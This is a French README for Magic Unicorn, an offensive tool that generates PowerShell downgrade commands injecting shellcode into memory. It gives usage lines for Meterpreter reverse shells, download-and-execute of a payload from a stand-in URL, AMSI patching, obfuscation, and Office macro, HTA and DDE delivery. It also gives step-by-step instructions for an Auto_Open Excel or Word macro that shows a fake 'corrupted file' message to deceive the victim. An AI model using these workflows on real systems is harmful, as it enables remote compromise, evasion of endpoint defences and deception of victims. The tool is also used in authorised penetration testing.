
Unicorn est un outil simple pour utiliser une attaque de rétrogradation PowerShell et injecter du shellcode directement en mémoire. Basé sur les attaques PowerShell de Matthew Graeber et la technique de contournement PowerShell présentée par David Kennedy (TrustedSec) et Josh Kelly à Defcon 18.
Écrit par : Dave Kennedy (@HackingDave) Site web : https://www.trustedsec.com
Magic Unicorn est un outil simple permettant d'utiliser une attaque par rétrogradation de PowerShell et d'injecter du shellcode directement en mémoire. Basé sur les attaques PowerShell de Matthew Graeber et sur la technique de contournement de PowerShell présentée par David Kennedy (TrustedSec) et Josh Kelly à la Defcon 18.
L'utilisation est simple : il suffit d'exécuter Magic Unicorn (assurez-vous que Metasploit est installé si vous utilisez les méthodes Metasploit et qu'il se trouve dans le bon chemin) et magic unicorn générera automatiquement une commande powershell qu'il vous suffit de copier-coller dans une fenêtre de ligne de commande ou via un système de livraison de payload. Unicorn prend en charge votre propre shellcode, cobalt strike et Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
PowerShell shellcode injection for x86 and x64 targets.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> <generator options>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
Unicorn émet désormais une seule commande enfant PowerShell. Avec --amsi inline, le patch AMSI et le loader de shellcode
s'exécutent dans ce même processus enfant. Avec --amsi off, Unicorn omet l'étape AMSI.
Utilisez --profile cmd pour un contexte de commande de 8191 caractères. Utilisez --profile powershell pour un
contexte de 32767 caractères. Unicorn rejette une sortie qui dépasse la limite sélectionnée.
Utilisez --arch x86 ou --arch x64 pour sélectionner l'architecture PowerShell enfant. Fournissez un shellcode qui
correspond à cette architecture. La valeur par défaut est x86.
Utilisez --obfuscation minimal|moderate|high pour sélectionner une variante bornée et préservant la sémantique. Le
manifeste enregistre les transformations exactes utilisées.
Utilisez --seed <value> pour reproduire une variante générée. Chaque exécution écrit unicorn_manifest.json avec la
graine, l'architecture, le mode AMSI, les longueurs de commande, les API et le SHA-256 du shellcode source.
La variante du loader utilise soit une boucle de copie d'octets memset, soit Marshal.Copy ; l'API sélectionnée est enregistrée
dans le manifeste.
Pour les attaques par shellcode, le manifeste enregistre également le profil d'obfuscation sélectionné et ses
transformations.
Tout est désormais généré dans powershell_attack.txt, unicorn.rc lorsque Metasploit est utilisé, et
unicorn_manifest.json. Le fichier texte contient le code nécessaire pour injecter l'attaque PowerShell en
mémoire. Vous avez besoin d'un emplacement qui prend en charge l'exécution de commandes à distance. Utilisez --profile cmd pour un contexte de commande de 8191 caractères.
Cette attaque prend également en charge windows/download_exec. Lors de l'utilisation de download and execute, exécutez
python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe.
Notez que vous devrez avoir un listener activé afin de capturer l'attaque.
Pour l'attaque macro, vous devrez aller dans Fichier, Options, Personnaliser le ruban, et sélectionner Développeur. Une fois cela fait, vous aurez un onglet développeur. Créez une nouvelle macro, appelez-la Auto_Open et collez le code généré dedans. Cela s'exécutera automatiquement. Notez qu'un message demandera à l'utilisateur que le fichier est corrompu et fermera automatiquement le document Excel. C'EST UN COMPORTEMENT NORMAL ! Cela vise à faire croire à la victime que le document Excel est corrompu. Vous devriez obtenir un shell via l'injection PowerShell après cela.
Si vous déployez ceci contre des versions Office365/2016+ de Word, vous devez modifier la première ligne de la sortie de : Sub Auto_Open()
En : Sub AutoOpen()
Le nom de la macro elle-même doit également être « AutoOpen » au lieu de l'ancien schéma de nommage « Auto_Open ».